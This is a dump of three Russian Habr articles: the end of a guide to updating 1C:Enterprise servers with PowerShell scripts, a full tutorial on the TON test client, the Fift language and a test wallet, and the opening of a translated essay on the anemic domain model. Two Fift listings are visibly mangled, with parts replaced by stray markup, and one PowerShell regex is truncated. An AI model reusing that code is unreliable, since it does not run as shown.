1CEnterprise 8 (x86-64).msi и, посмотрев на таблицу InstallExecuteSequence, видим, что многие действия, в том числе и запуск сервиса, зависят от параметра INSTALLSRVRASSRVC. Скорее всего его установка в «0» и поможет нам отказаться от регистрации и запуска сервиса. Поиском ищем, где же он устанавливается. Установка значения нашлась в таблице CustomAction в действии customSetSrvrAsService. Меняем Target на 0 и сохраняем наш файл трансформации DoNotRegister.mst. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/18a/a3d/f7f/18aa3df7f03ba6b59e6aece29a97f2c7.png)Добавляем его в команду установки, и все выполняется без регистрации и запуска сервиса. ``` msiexec /i "C:\LastVersion\1CEnterprise 8 (x86-64).msi" /qr TRANSFORMS=adminstallrelogon.mst;1049.mst;DoNotRegister.mst DESIGNERALLCLIENTS=1 THICKCLIENT=0 THINCLIENTFILE=0 THINCLIENT=0 WEBSERVEREXT=1 SERVER=1 CONFREPOSSERVER=0 CONVERTER77=0 SERVERCLIENT=1 LANGUAGES=RU ``` Далее необходимо только сменить путь к агенту сервера (C:\Program Files\1cv8\8.3.xx.xxxx\bin\ragent.exe) в реестре. #### Подход 2: Пусть все будет стерто, настроим заново Второй рассмотренный путь - пусть реестр будет перезаписан - отдельными скриптами настроим его заново. Мы в результате выбрали этот путь, так как хотели и новую установку на новый сервер тоже делать скриптами. Все наши настройки при установке сносятся, но мы их восстанавливаем. ``` $1cversion = "[ВерсияПлатформы]" $PathToBin = 'C:\Program Files\1cv8\'+$1cversion+'\Bin' $port = 1540 $regport = 1541 $range = "1560:1591" $HomeCat = "[ПутьКsrvinfo]" $PathToBin = "$PathToBin\ragent.exe" $SrvcName = "1C:Enterprise 8.3 Server Agent (x86-64)" $ImagePath = "`"$PathToBin`" -srvc -agent -regport $regport -port $port -range $range -debug -d `"$HomeCat`"" $Desctiption = "Агент сервера 1С:Предприятия 8.3" $username = "[Пользователь]" $password = "[Пароль]" $secureStringPwd = $password | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList $username, $secureStringPwd $allServices1C = Get-WmiObject win32_service | ?{$_.Name -like '*'} |Select Name, DisplayName, State, PathName | Where-Object { $_.PathName -Like "*ragent.exe*" }; $m = $allServices1C | measure $m.Count if ($m.Count -gt 0) { $allServices1C | % { $services1C = $_; $serviceExecPath = $services1C.PathName; $serviceName = $services1C.name; $serviceExecPathRagent = $services1C.PathName.split('"')[1]; $platformVersion = [System.Diagnostics.FileVersionInfo]::GetVersionInfo($serviceExecPathRagent).FileVersion $NewPath = $services1C.PathName -replace $platformVersion,$1cversion Write-Host "Найдена уже установленная служба агента 1с $serviceName" try { if ($services1C.State -eq "Running"){Write-host "Останавливаем сервис $serviceName"; Stop-Service -Name $serviceName -Force} Write-host "Меняем path службы на $NewPath" Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\$serviceName" -Name ImagePath -Value "$NewPath" Write-Host "Запускаем сервис $serviceName " Start-Service -Name $serviceName sleep(10) if ($services1C.State -eq "Running") { Write-host "Сервис запущен успешно"; write-host "ErrCode 0"} else { Write-Host "Сервис $serviceName не запустился!" ;Write-Host "ErrCode 1"} }catch { Write-Host "Ошибка при изменении службы $serviceName" -ForegroundColor Red Write-Host "Подробно:" -ForegroundColor Red Write-Host $Error[0] -ForegroundColor Red Write-Host "ErrCode 1" } } } else { Write-Host "Устанавливаем службу 1С $SrvcName" try{ New-Service -Name $SrvcName -BinaryPathName $ImagePath -Description $Desctiption -DisplayName $Desctiption -StartupType Automatic -Credential $creds Start-Service -Name $serviceName; Write-Host "Сервис $SrvcName зарегистрирован и запущен!" -ForegroundColor Green Write-Host "ErrCode 0" } catch { Write-Host "Ошибка при регистрации компоненты!" -ForegroundColor Red Write-Host "Подробно:" -ForegroundColor Red Write-Host $Error[0] -ForegroundColor Red Write-Host "ErrCode 1" -ForegroundColor Red } } ``` #### Регистрация COM и консоли администрирования Это самые простые действия. Для регистрации COM Запускаем regsvr32 /n /i:user "C:\Program Files\1cv8\8.3.xx.xxxx\bin\comcntr.dll" на PowerShell наш скрипт выглядит так: ``` $allServices1C = Get-WmiObject win32_service | ?{$_.Name -like '*'} | Select Name, DisplayName, State, PathName | Where-Object { $_.PathName -Like "*ragent.exe*" }; $allServices1C | % { $services1C = $_; $serviceExecPath = $services1C.PathName; $serviceExecPathRagent = $services1C.PathName.split('"')[1]; $serviceDirectory = [System.IO.Path]::GetDirectoryName($serviceExecPathRagent); $comcntrPath = "$serviceDirectory\comcntr.dll"; $regCommand = "regsvr32.exe /s ""$comcntrPath"""; $platformVersion = [System.Diagnostics.FileVersionInfo]::GetVersionInfo($serviceExecPathRagent).FileVersion Write-Host "Начало регистрации COM-компоненты 1С:Предприятия"; Write-Host "Версия платформы: $platformVersion"; Write-Host "Путь к DLL: ""$comcntrPath"""; Write-Host "Команда регистрации компоненты: ""$regCommand"""; try { cmd /c "$regCommand" Write-Host "Регистрация компоненты успешно выполнена!" -ForegroundColor Green Write-Host "ErrCode 0" } catch { Write-Host "Ошибка при регистрации компоненты!" -ForegroundColor Red Write-Host "Подробно:" -ForegroundColor Red Write-Host "ErrCode 1" -ForegroundColor Red } } ``` Для регистрации консоли regsvr32 /n /i:user "C:\Program Files\1cv8\8.3.xx.xxxx\bin\radmin.dll" на PowerShell наш скрипт выглядит так: ``` $allServices1C = Get-WmiObject win32_service | ?{$_.Name -like '*'} | Select Name, DisplayName, State, PathName | Where-Object { $_.PathName -Like "*ragent.exe*" }; $allServices1C | % { $services1C = $_; $serviceExecPath = $services1C.PathName; $serviceExecPathRagent = $services1C.PathName.split('"')[1]; $serviceDirectory = [System.IO.Path]::GetDirectoryName($serviceExecPathRagent); $radminPath = "$serviceDirectory\radmin.dll"; $regCommand = "regsvr32.exe /s ""$radminPath"""; $platformVersion = [System.Diagnostics.FileVersionInfo]::GetVersionInfo($serviceExecPathRagent).FileVersion Write-Host "Начало регистрации COM-компоненты 1С:Предприятия"; Write-Host "Версия платформы: $platformVersion"; Write-Host "Путь к DLL: ""$radminPath"""; Write-Host "Команда регистрации компоненты: ""$regCommand"""; try { cmd /c "$regCommand" Write-Host "Регистрация компоненты успешно выполнена!" -ForegroundColor Green Write-Host "ErrCode 0" } catch { Write-Host "Ошибка при регистрации компоненты!" -ForegroundColor Red Write-Host "Подробно:" -ForegroundColor Red Write-Host "ErrCode 1" -ForegroundColor Red } } ``` ### Обновление пути к компоненте wsisapi.dll  Данное действие тоже достаточно простое, настройка веб публикации 1С систем сводится созданию в IIS приложения состоящего default.vrd и конфигурированием Handler mappings. С последним возникают тонкости. Настройки могут быть заданы как на уровне приложения, так и на уровне сайта или сервера в целом. Мы пошли по наиболее простому пути. В последних версиях платформы 1С утилита публикации (создания приложений) создает конфигурацию на уровне приложения. Так как публикации рождаются и изменяются регулярно в процессе развития систем, то чтобы не наступить на грабли, что в разных местах у нас разные настройки, решили остановиться на одном варианте. Конфигурационный файл web.config должен быть у каждого приложения. Мы проверили все наши публикации и там, где отсутствовал конфигурационный файл, создали его. Теперь в каждой директории приложения имелся файл web.config и задача свелась к замене версии платформы в строке: ``` scriptProcessor="C:\Program Files\1cv8\8.3.xx.xxxx\bin\wsisapi.dll" Что мы делаем скриптом: $result = Get-ChildItem -Path "[АдресПапкиСПубликациями]" -Recurse -ErrorAction SilentlyContinue -Include "web.config" $1cUpdateV = "[ВерсияПлатформы]" foreach($f in $result) { $fullname = $f.fullname $Text = Get-Content $f.FullName -raw $pattern = "(?:C:\\Program Files\\1cv8\\)(?\d+\.\d+\.\d+\.\d+)(?:\\bin\\wsisapi\.dll)" $te = $Text -match $pattern if ($Matches.Count -ne 0) { $1cVersionold = $Matches["version"] if ($1cVersionold -ne $Version1c) { $replaceText = $Text -replace "$1cVersionold","$1cUpdateV" Set-Content -Path $fullname -Value $replaceText Write-Host "файл $fullname изменен версия платформы старая $1cVersionold новая $1cUpdateV" } else { Write-Host "файл $fullname не изменен. Версии совпадают"} } } Write-Host "ErrCode 0" ``` Надеюсь, этот материал оказался полезным для вас. А как вы решаете проблему обновления нескольких серверов 1С? Делитесь вашими know-how в комментариях.
https://habr.com/ru/post/583678/
null
ru
null
# Тестовый клиент TON (Telegram Open Network) и новый язык Fift для смарт-контрактов Больше года назад стало известно о планах мессенджера Telegram выпустить собственную децентрализованную сеть **Telegram Open Network**. Тогда стал доступен объемный технический документ, который, предположительно, был написан Николаем Дуровым и описывал структуру будущей сети. Для тех, кто пропустил — рекомендую ознакомиться с моим пересказом этого документа ([часть 1](https://habr.com/ru/post/354366/), [часть 2](https://habr.com/ru/post/354568/); третья часть, увы, всё ещё пылится в черновиках). С тех пор никаких значимых новостей о статусе разработки TON не было, пока пару дней назад (в одном из [неофициальных каналов](https://t.me/Tgram/171)) не появилась ссылка на страницу <https://test.ton.org/download.html>, где размещены: ◦ [ton-test-liteclient-full.tar.xz](https://test.ton.org/ton-test-liteclient-full.tar.xz) — исходники лёгкого клиента для тестовой сети TON; ◦ [ton-lite-client-test1.config.json](https://test.ton.org/ton-lite-client-test1.config.json) — конфигурационный файл для подключения к тестовой сети; ◦ [README](https://test.ton.org/README.txt) — информация о сборке и запуске клиента; ◦ [HOWTO](https://test.ton.org/HOWTO.txt) — пошаговая инструкция о создании смарт-контракта с помощью клиента; ◦ [ton.pdf](https://test.ton.org/ton.pdf) — обновлённый документ (от 2 марта 2019 г.) с техническим обзором сети TON; ◦ [tvm.pdf](https://test.ton.org/tvm.pdf) — техническое описание TVM (TON Virtual Machine, виртуальной машины TON); ◦ [tblkch.pdf](https://test.ton.org/tblkch.pdf) — техническое описание блокчейна TON; ◦ [fiftbase.pdf](https://test.ton.org/fiftbase.pdf) — описание нового языка Fift, предназначенного для создания смарт-контрактов в TON. Повторюсь, официальных подтверждений страницы и всех этих документов со стороны Телеграма не было, но объем этих материалов делает их достаточно правдоподобными. Запуск опубликованного клиента совершайте **на свой страх и риск**. Сборка тестового клиента ------------------------ Для начала попробуем собрать и запустить тестовый клиент — благо, [README](https://test.ton.org/README.txt) подробно описывает этот несложный процесс. Я буду это делать на примере macOS 10.14.5, за успешность сборки на других системах ручаться не могу. 1. Скачиваем и распаковываем [архив с исходниками](https://test.ton.org/ton-test-liteclient-full.tar.xz). Важно скачивать последнюю версию, так как обратная совместимость на данном этапе не гарантируется. 2. Убеждаемся, что в системе установлены последние версии make, cmake (версии 3.0.2 или выше), OpenSSL (включая заголовочные файлы C), g++ или clang. Мне ничего доустанавливать не пришлось, всё собралось сразу. 3. Предположим, исходники распакованы в папку `~/lite-client`. Отдельно от неё создаём пустую папку для собранного проекта (например, `~/liteclient-build`), и из неё (`cd ~/liteclient-build`) вызываем команды: ``` cmake ~/lite-client cmake --build . --target test-lite-client ``` ![Успешная сборка клиента](https://habrastorage.org/r/w1560/webt/sr/lx/j8/srlxj8au48yus3uuddlpenvika0.png) Для сборки интерпретатора языка Fift для смарт-контрактов (о нём ниже), также вызываем ``` cmake --build . --target fift ``` 4. Скачиваем актуальный [конфигурационный файл](https://test.ton.org/ton-lite-client-test1.config.json) для подключения к тестовой сети и кладём его в папку с собранным клиентом. 5. **Готово**, можно запустить клиент: ``` ./test-lite-client -C ton-lite-client-test1.config.json ``` Если всё сделано правильно, то вы должны увидеть что-то такое: ![Запуск клиента](https://habrastorage.org/r/w1560/webt/gl/gg/d3/glggd35dzg4vwogf9woibu43zrk.png) Доступных команд, как видим, немного: ◦ **`help`** — вывести этот список команд; ◦ **`quit`** — выйти; ◦ **`time`** — показать текущее время на сервере; ◦ **`status`** — показать состояние подключения и локальной БД; ◦ **`last`** — обновить состояние блокчейна (загрузить последний блок). Эту команду важно выполнять перед любыми запросами, чтобы быть уверенным, что вы видите именно актуальное состояние сети. ◦ **`sendfile`** — загрузить локальный файл в сеть TON. Так происходит взаимодействие с сетью — в том числе, например, создание новых смарт-контрактов и запросы на перевод средств между аккаунтами; ◦ **`getaccount`** — показать текущее (на момент выполнения команды **`last`**) состояние аккаунта с указанным адресом; ◦ **`privkey`** — загрузить приватный ключ из локального файла. Если при запуске клиента передать ему папку с помощью опции `-D`, то он будет складывать в неё последний блок мастерчейна: ``` ./test-lite-client -C ton-lite-client-test1.config.json -D ~/ton-db-dir ``` Теперь можем перейти к более интересным вещам — изучить язык Fift, попробовать скомпилировать смарт-контракт (например, создать тестовый кошелёк), загрузить его в сеть и попробовать перевод средств между аккаунтами. Язык Fift --------- Из документа [fiftbase.pdf](https://test.ton.org/fiftbase.pdf) можно узнать, что для создания смарт-контрактов команда Telegram создала новый стековый язык **Fift** (видимо, от числительного *fifth*, по аналогии с Forth — языком, с которым у Fift много общего). Документ достаточно объемный, на 87 страниц, и я не стану подробно пересказывать его содержание в рамках этой статьи (как минимум, потому что сам не закончил его чтение :). Остановлюсь на основных моментах и приведу пару примеров кода на этом языке. На базовом уровне, синтаксис Фифта достаточно прост: его код состоит из *слов*, как правило, разделённых пробелами или переводами строк (частный случай: некоторые слова не требуют разделителя после себя). Любое *слово* — это регистро-зависимая последовательность символов, которой соответствует некоторое *определение* (грубо говоря, то, что интерпретатор должен сделать, когда встречает это слово). Если определения слова нет, интерпретатор пытается распарсить его как число и положить на стек. Кстати, числа тут — внезапно — 257-битные целые, а дробных нет совсем — точнее, они сразу превращаются в пару целых, образующих числитель и знаменатель рациональной дроби. Слова, как правило, взаимодействуют со значениями, лежащими на верхушке стека. Отдельный тип слов — *префиксный* — использует не стек, а последующие за ними символы из исходного файла. Например, так реализованы строковые литералы — символ «кавычка» (`"`) является префиксным словом, которое ищет следующую (закрывающую) кавычку, и помещает строку между ними на стек. Подобным же образом ведут себя однострочные (`//`) и многострочные (`/*`) комментарии. На этом почти всё внутреннее устройство языка заканчивается. Всё остальное (включая управляющие конструкции) определено как слова (либо внутренние, такие как арифметические операции и определение новых слов; либо определённые в «стандартной библиотеке» `Fift.fif`, которая лежит в папке `crypto/fift` в исходниках). Простой пример программы на Fift: ``` { dup =: x dup * =: y } : setxy 3 setxy x . y . x y + . 7 setxy x . y . x y + . ``` В первой строчке определяется новое слово `setxy` (обратите внимание на префикс `{`, который создает блок до закрывающего `}` и префикс `:`, который собственно определяет слово). `setxy` берёт число с вершины стека, определяет (или переопределяет) его как глобальную *константу* `x`, а квадрат этого числа — как константу `y` (учитывая, что значения констант можно переопределять, я бы скорее назвал их переменными, но я следую именованию в языке). В следующих двух строчках на стек кладётся число, вызывается `setxy`, затем выводятся значения констант `x`, `y` (для вывода используется слово `.`), обе константы помещаются на стек, суммируются и результат тоже выводится. В результате мы увидим: ``` 3 9 12 ok 7 49 56 ok ``` (Строчку «ok» выводит интерпретатор, когда заканчивает обрабатывать текущую строку в интерактивном режиме ввода) Ну и полноценный пример кода: ``` "Asm.fif" include -1 constant wc // create a wallet in workchain -1 (masterchain) // Create new simple wallet <{ SETCP0 DUP IFNOTRET INC 32 THROWIF // return if recv_internal, fail unless recv_external 512 INT LDSLICEX DUP 32 PLDU // sign cs cnt c4 PUSHCTR CTOS 32 LDU 256 LDU ENDS // sign cs cnt cnt' pubk s1 s2 XCPU // sign cs cnt pubk cnt' cnt EQUAL 33 THROWIFNOT // ( seqno mismatch? ) s2 PUSH HASHSU // sign cs cnt pubk hash s0 s4 s4 XC2PU // pubk cs cnt hash sign pubk CHKSIGNU // pubk cs cnt ? 34 THROWIFNOT // signature mismatch ACCEPT SWAP 32 LDU NIP DUP SREFS IF:<{ 8 LDU LDREF // pubk cnt mode msg cs s0 s2 XCHG SENDRAWMSG // pubk cnt cs ; ( message sent ) }> ENDS INC NEWC 32 STU 256 STU ENDC c4 POPCTR }>c // code **file B, b> // data // no libraries **// create StateInit dup ."StateInit: " ~~$ type cr 256 u>B "new-wallet.addr" B>file **dup ."signing message: " ~~dup ."External message for initialization is " ~~B dup Bx. cr "new-wallet-query.boc" tuck B>file ."(Saved to file " type .")" cr~~~~**~~**** ``` Этот страшновато выглядящий файл предназначен для создания смарт-контракта — он будет помещён в файл `new-wallet-query.boc` после выполнения. Обратите внимание, что тут используется ещё один, ассемблерный язык для TON Virtual Machine (на нём я не буду останавливаться подробно), инструкции которого и будут помещены в блокчейн. Таким образом, ассемблер для TVM написан на Fift — исходники этого ассемблера находятся в файле `crypto/fift/Asm.fif` и подключаются в начале приведённого выше куска кода. Что я могу сказать, видимо, Николай Дуров просто любит создавать новые языки программирования :) Создание смарт-контракта и взаимодействие с TON ----------------------------------------------- Итак, предположим, мы собрали клиент TON и интерпретатор Fift, как описано выше, и познакомились с языком. Как теперь создать смарт-контракт? Об этом рассказывается в файлике [HOWTO](https://test.ton.org/HOWTO.txt), приложенном к исходникам. ### Аккаунты в TON Как я описывал в [обзоре TON](https://habr.com/ru/post/354568/), эта сеть содержит больше одного блокчейна — есть один общий, т.н. «мастерчейн», а также произвольное количество дополнительных «воркчейнов», идентифицируемых 32-битным числом. Мастерчейн имеет идентификатор -1, кроме него так же может использоваться «базовый» воркчейн с идентификатором 0. У каждого воркчейна может быть своя конфигурация. Внутренне каждый воркчейн дробится на шардчейны, но это уже деталь реализации, которую необязательно держать в голове. В пределах одного воркчейна хранится множество аккаунтов, у которых есть свои идентификаторы account\_id. Для мастерчейна и нулевого воркчейна они имеют длину 256 бит. Таким образом, идентификатор аккаунта записывается, например, так: ``` -1:8156775b79325e5d62e742d9b96c30b6515a5cd2f1f64c5da4b193c03f070e0d ``` Это «сырой» формат: сначала идентификатор воркчейна, затем двоеточие, и идентификатор аккаунта в шестнадцатеричной записи. Кроме того, есть укороченный формат — номер воркчейна и адрес аккаунта кодируются в бинарном виде, к ним дописывается контрольная сумма и всё это кодируется в Base64: ``` Ef+BVndbeTJeXWLnQtm5bDC2UVpc0vH2TF2ksZPAPwcODSkb ``` Зная этот формат записи, мы можем запросить текущее состояние какого-нибудь аккаунта через тестовый клиент с помощью команды ``` getaccount -1:8156775b79325e5d62e742d9b96c30b6515a5cd2f1f64c5da4b193c03f070e0d ``` Получим примерно такой ответ: ``` [ 3][t 2][1558746708.815218925][test-lite-client.cpp:631][!testnode] requesting account state for -1:8156775B79325E5D62E742D9B96C30B6515A5CD2F1F64C5DA4B193C03F070E0D [ 3][t 2][1558746708.858564138][test-lite-client.cpp:652][!testnode] got account state for -1:8156775B79325E5D62E742D9B96C30B6515A5CD2F1F64C5DA4B193C03F070E0D with respect to blocks (-1,8000000000000000,72355):F566005749C1B97F18EDE013EBA7A054B9014961BC1AD91F475B9082919A2296:1BD5DE54333164025EE39D389ECE2E93DA2871DA616D488253953E52B50DC03F and (-1,8000000000000000,72355):F566005749C1B97F18EDE013EBA7A054B9014961BC1AD91F475B9082919A2296:1BD5DE54333164025EE39D389ECE2E93DA2871DA616D488253953E52B50DC03F account state is (account addr:(addr_std anycast:nothing workchain_id:-1 address:x8156775B79325E5D62E742D9B96C30B6515A5CD2F1F64C5DA4B193C03F070E0D) storage_stat:(storage_info used:(storage_used cells:(var_uint len:1 value:3) bits:(var_uint len:2 value:539) public_cells:(var_uint len:0 value:0)) last_paid:0 due_payment:nothing) storage:(account_storage last_trans_lt:74208000003 balance:(currencies grams:(nanograms amount:(var_uint len:7 value:999928362430000)) other:(extra_currencies dict:hme_empty)) state:(account_active ( split_depth:nothing special:nothing code:(just value:(raw@^Cell x{} x{FF0020DDA4F260D31F01ED44D0D31FD166BAF2A1F80001D307D4D1821804A817C80073FB0201FB00A4C8CB1FC9ED54} )) data:(just value:(raw@^Cell x{} x{0000000D} )) library:hme_empty)))) x{CFF8156775B79325E5D62E742D9B96C30B6515A5CD2F1F64C5DA4B193C03F070E0D2068086C000000000000000451C90E00DC0E35B7DB5FB8C134_} x{FF0020DDA4F260D31F01ED44D0D31FD166BAF2A1F80001D307D4D1821804A817C80073FB0201FB00A4C8CB1FC9ED54} x{0000000D} ``` Видим структуру, которая хранится в DHT указанного воркчейна. Например, в поле `storage.balance` находится текущий баланс аккаунта, в `storage.state.code` — код смарт-контракта, а в `storage.state.data` — его текущие данные. Обратите внимание, что хранилище данных TON — Cell, ячейки — является древовидным, у каждой ячейки могут быть как свои данные, так и дочерние ячейки. Это показано в виде отступов в последних строчках. ### Сборка смарт-контракта Теперь давайте создадим сами такую структуру (она называется BOC — *bag of cells*) с помощью языка Fift. К счастью, самостоятельно писать смарт-контракт не придётся — в папке `crypto/block` из архива с исходниками есть файл `new-wallet.fif`, который поможет создать нам новый кошелёк. Скопируем его в папку с собранным клиентом (`~/liteclient-build`, если вы действовали по инструкции выше). Его же содержимое я приводил выше в качестве примера кода на Fift. Выполняем этот файл следующим образом: ``` ./crypto/fift -I"/crypto/fift" new-wallet.fif ``` Здесь надо заменить на путь к распакованным исходникам (символ "~" тут, к сожалению, использовать нельзя, нужен полный путь). Вместо использования ключа `-I` можно определить переменную окружения `FIFTPATH` и поместить этот путь в неё. Так как Fift мы запустили с именем файла `new-wallet.fif`, он выполнит его и завершится. Если имя файла опустить, то можно поиграть с интерпретатором в интерактивном режиме. В консоль после выполнения должно вывестись что-то такое: ``` StateInit: x{34_} x{FF0020DDA4F260810200D71820D70B1FED44D0D31FD3FFD15112BAF2A122F901541044F910F2A2F80001D31F3120D74A96D307D402FB00DED1A4C8CB1FCBFFC9ED54} x{0000000055375F730EDC2292E8CB15C42E8036EE9C25AA958EE002D2DE48A205E3A3426B} new wallet address = -1 : 4fcd520b8fcca096b567d734be3528edc6bed005f6930a9ec9ac1aa714f211f2 0f9PzVILj8yglrVn1zS-NSjtxr7QBfaTCp7JrBqnFPIR8nhZ signing message: x{00000000} External message for initialization is x{89FEE120E20C7E953E31546F64C23CD654002C1AA919ADD24DB12DDF85C6F3B58AE41198A28AD8DAF3B9588E7A629252BA3DB88F030D00BC1016110B2073359EAC3C13823C53245B65D056F2C070B940CDA09789585935C7ABA4D2AD4BED139281CFA1200000001_} x{FF0020DDA4F260810200D71820D70B1FED44D0D31FD3FFD15112BAF2A122F901541044F910F2A2F80001D31F3120D74A96D307D402FB00DED1A4C8CB1FCBFFC9ED54} x{0000000055375F730EDC2292E8CB15C42E8036EE9C25AA958EE002D2DE48A205E3A3426B} B5EE9C724104030100000000D60002CF89FEE120E20C7E953E31546F64C23CD654002C1AA919ADD24DB12DDF85C6F3B58AE41198A28AD8DAF3B9588E7A629252BA3DB88F030D00BC1016110B2073359EAC3C13823C53245B65D056F2C070B940CDA09789585935C7ABA4D2AD4BED139281CFA1200000001001020084FF0020DDA4F260810200D71820D70B1FED44D0D31FD3FFD15112BAF2A122F901541044F910F2A2F80001D31F3120D74A96D307D402FB00DED1A4C8CB1FCBFFC9ED5400480000000055375F730EDC2292E8CB15C42E8036EE9C25AA958EE002D2DE48A205E3A3426B6290698B (Saved to file new-wallet-query.boc) ``` Это означает, что кошелёк с идентификатором `-1:4fcd520b8fcca096b567d734be3528edc6bed005f6930a9ec9ac1aa714f211f2` (или, что то же самое, `0f9PzVILj8yglrVn1zS-NSjtxr7QBfaTCp7JrBqnFPIR8nhZ`) успешно создан. Соответствующий ему код окажется в файле `new-wallet-query.boc`, его адрес — в `new-wallet.addr`, а приватный ключ — в `new-wallet.pk` (будьте осторожны — повторный запуск скрипта перезапишет эти файлы). Конечно, сеть TON про этот кошелёк ещё не знает, он хранится только в виде этих файлов. Теперь его нужно загрузить в сеть. Правда, проблема в том, что для создания смарт-контракта нужно заплатить комиссию, а баланс у вашего аккаунта пока нулевой. В рабочем режиме эта проблема решится покупкой грамов на бирже (или переводом с другого кошелька). Ну а в нынешнем тестовом режиме заведён специальный смарт-контракт, у которого можно попросить до 20 грам просто так. ### Формирование запроса к чужому смарт-контракту Запрос к смарт-контракту, раздающему грамы налево и направо, делаем так. Во всё той же папке `crypto/block` находим файл `testgiver.fif`: ``` // "testgiver.addr" file>B 256 B>u@ 0x8156775b79325e5d62e742d9b96c30b6515a5cd2f1f64c5da4b193c03f070e0d dup constant wallet_addr ."Test giver address = " x. cr 0x4fcd520b8fcca096b567d734be3528edc6bed005f6930a9ec9ac1aa714f211f2 constant dest_addr -1 constant wc 0x00000011 constant seqno 1000000000 constant Gram { Gram swap */ } : Gram*/ 6.666 Gram*/ constant amount // b x --> b' ( serializes a Gram amount ) { -1 { 1+ 2dup 8 * ufits } until rot over 4 u, -rot 8 * u, } : Gram, // create a message (NB: 01b00.., b = bounce) ****dup ."enveloping message: " ~~dup ."resulting external message: " ~~B dup Bx. cr "wallet-query.boc" B>file~~~~**** ``` Его тоже сохраним в папку с собранным клиентом, но поправим пятую строчку — перед строчкой "`constant dest_addr`". Заменим её на адрес того кошелька, который вы создали до этого (полный, не сокращённый). "-1:" в начале писать не нужно, вместо этого в начале поставьте "0x". Ещё можно поменять строку `6.666 Gram*/ constant amount` — это сумма в грамах, которую вы запрашиваете (не больше 20). Даже если указываете целое число, оставьте десятичную точку. Наконец, нужно поправить строку `0x00000011 constant seqno`. Первое число тут — это текущий sequence number, который хранится в аккаунте, выдающем грамы. Откуда его взять? Как говорилось выше, запустите клиент и выполните: ``` last getaccount -1:8156775b79325e5d62e742d9b96c30b6515a5cd2f1f64c5da4b193c03f070e0d ``` В самом конце в данных смарт-контракта будет ``` ... x{FF0020DDA4F260D31F01ED44D0D31FD166BAF2A1F80001D307D4D1821804A817C80073FB0201FB00A4C8CB1FC9ED54} x{0000000D} ``` Число 0000000D (у вас оно будет больше) и есть sequence number, который надо подставить в `testgiver.fif`. Всё, сохраняем файл и запускаем (`./crypto/fift testgiver.fif`). На выходе получим файл `wallet-query.boc`. Это и есть сформированное *сообщение* к чужому смарт-контракту — просьба «переведи столько-то грам на такой-то аккаунт». С помощью клиента загружаем его в сеть: ``` > sendfile wallet-query.boc [ 1][t 1][1558747399.456575155][test-lite-client.cpp:577][!testnode] sending query from file wallet-query.boc [ 3][t 2][1558747399.500236034][test-lite-client.cpp:587][!query] external message status is 1 ``` Если теперь вызвать `last`, а затем снова запросить статус аккаунта, у которого мы попросили грамы, то мы должны увидеть, что его sequence number увеличился на единичку — это значит, что он отправил деньги нашему аккаунту. Остался последний шаг — загружаем код нашего кошелька (баланс его уже пополнен, но без кода смарт-контракта мы не сможем им управлять). Выполняем `sendfile new-wallet-query.boc` — и всё, у вас есть собственный кошелёк в сети TON (пусть и пока лишь тестовой). ### Создание исходящих транзакций Чтобы переводить деньги с баланса созданного аккаунта, есть файл `crypto/block/wallet.fif`, который тоже нужно поместить в папку с собранным клиентом. Аналогично предыдущим шагам, в нём нужно поправить сумму, которую вы переводите, адрес получателя (dest\_addr), и seqno вашего кошелька (он равен 1 после инициализации кошелька и увеличивается на 1 после каждой исходящей транзакции — вы сможете увидеть его, запросив состояние своего аккаунта). Для тестов можете использовать, например, мой кошелёк — `0x4fcd520b8fcca096b567d734be3528edc6bed005f6930a9ec9ac1aa714f211f2`. При запуске (`./crypto/fift wallet.fif`) скрипт возьмёт адрес вашего кошелька (откуда вы переводите) и его приватный ключ из файлов `new-wallet.addr` и `new-wallet.pk`, а полученное сообщение запишет в `new-wallet-query.boc`. Как и раньше, чтобы непосредственно выполнить транзакцию, вызываем `sendfile new-wallet-query.boc` в клиенте. После этого не забываем обновить состояние блокчейна (`last`) и проверяем, что баланс и seqno нашего кошелька изменились (`getaccount` ). ![Описание аккаунта](https://habrastorage.org/r/w1560/webt/fp/d1/is/fpd1is8dlh4_iz9rdbakflyeq5s.png) Вот и всё, теперь мы умеем создавать смарт-контракты в TON и отправлять к ним запросы. Как видим, нынешней функциональности уже достаточно, чтобы, например, сделать более дружелюбный кошелёк c графическим интерфейсом (впрочем, ожидается, что он и так станет доступен как часть мессенджера).
https://habr.com/ru/post/453714/
null
ru
null
# [Перевод] Анемичная модель предметной области — не анти-шаблон, а архитектура по принципам SOLID *От переводчика: На проекте, где я работаю, сейчас идет активное переписывание логики, ранее реализованной в виде богатой модели предметной области (с использованием Active Record и Unit of Work). Новый подход включает в себя классы сущностей без поведения и служб без состояния, взаимодействующих посредством интерфейсов — фактически, он представляет собой анемичную модель, с перспективой перехода в дальнейшем на микросервисную архитектуру. Наблюдая в режиме реального времени, как «макаронный монстр» из примерно полутора миллионов LOC постепенно обретает форму, как упрощаются тестирование, масштабирование и кастомизация системы под нуждый различных заказчиков, я был весьма удивлен, узнав, что такой подход часто рассматривается как архитектурный анти-шаблон. Пытаясь разобраться в причинах этого, я наткнулся на данную статью и размещаю здесь ее перевод, чтобы обсудить с сообществом плюсы и минусы подхода.* Оригинал: [The Anaemic Domain Model is no Anti-Pattern, it’s a SOLID design](https://blog.inf.ed.ac.uk/sapm/2014/02/04/the-anaemic-domain-model-is-no-anti-pattern-its-a-solid-design/) Шаблоны проектирования, анти-шаблоны и анемичная модель предметной области -------------------------------------------------------------------------- Говоря об объектно-ориентированной разработке программного обеспечения, под шаблонами проектирования понимают повторяющиеся и эффективные способы решения часто возникающих проблем. Благодаря формализации и описанию таких шаблонов разработчики получают набор «проверенных в бою» архитектурных решений для определенных классов проблем, а также общий словарь для их описания, понятный другим разработчикам. Первым этот термин ввел Эрих Гамма в своей книге «Приемы объектно-ориентированного проектирования. Паттерны проектирования» [5], где он описал несколько часто применяемых шаблонов. По мере того как новое понятие набирало популярность, словарь шаблонов проектирования пополнялся ([6], [17]). Вслед за ростом популярности концепции паттернов проектирования в обиход была введена идея «анти-шаблонов» ([7], [8]). Как ясно из самого названия, анти-шаблон — это противоположность шаблона. Он тоже описывает повторяющийся способ решения часто возникающей проблемы, однако, как правило, это решение нерабочее или неэффективное, оказывающее негативное влияние на «здоровье» системы (в плане простоты поддержки, расширяемости, надежности и т.д.). Анти-шаблоны служат тем же целям, что и шаблоны: при описании анти-шаблона показывают типичные варианты реализации, раскрывают контекст, в котором он применяется, и объясняют, к каким проблемам в разрабатываемом ПО это приводит. Но концепция анти-шаблонов имеет свой недостаток: снижение критичности восприятия в 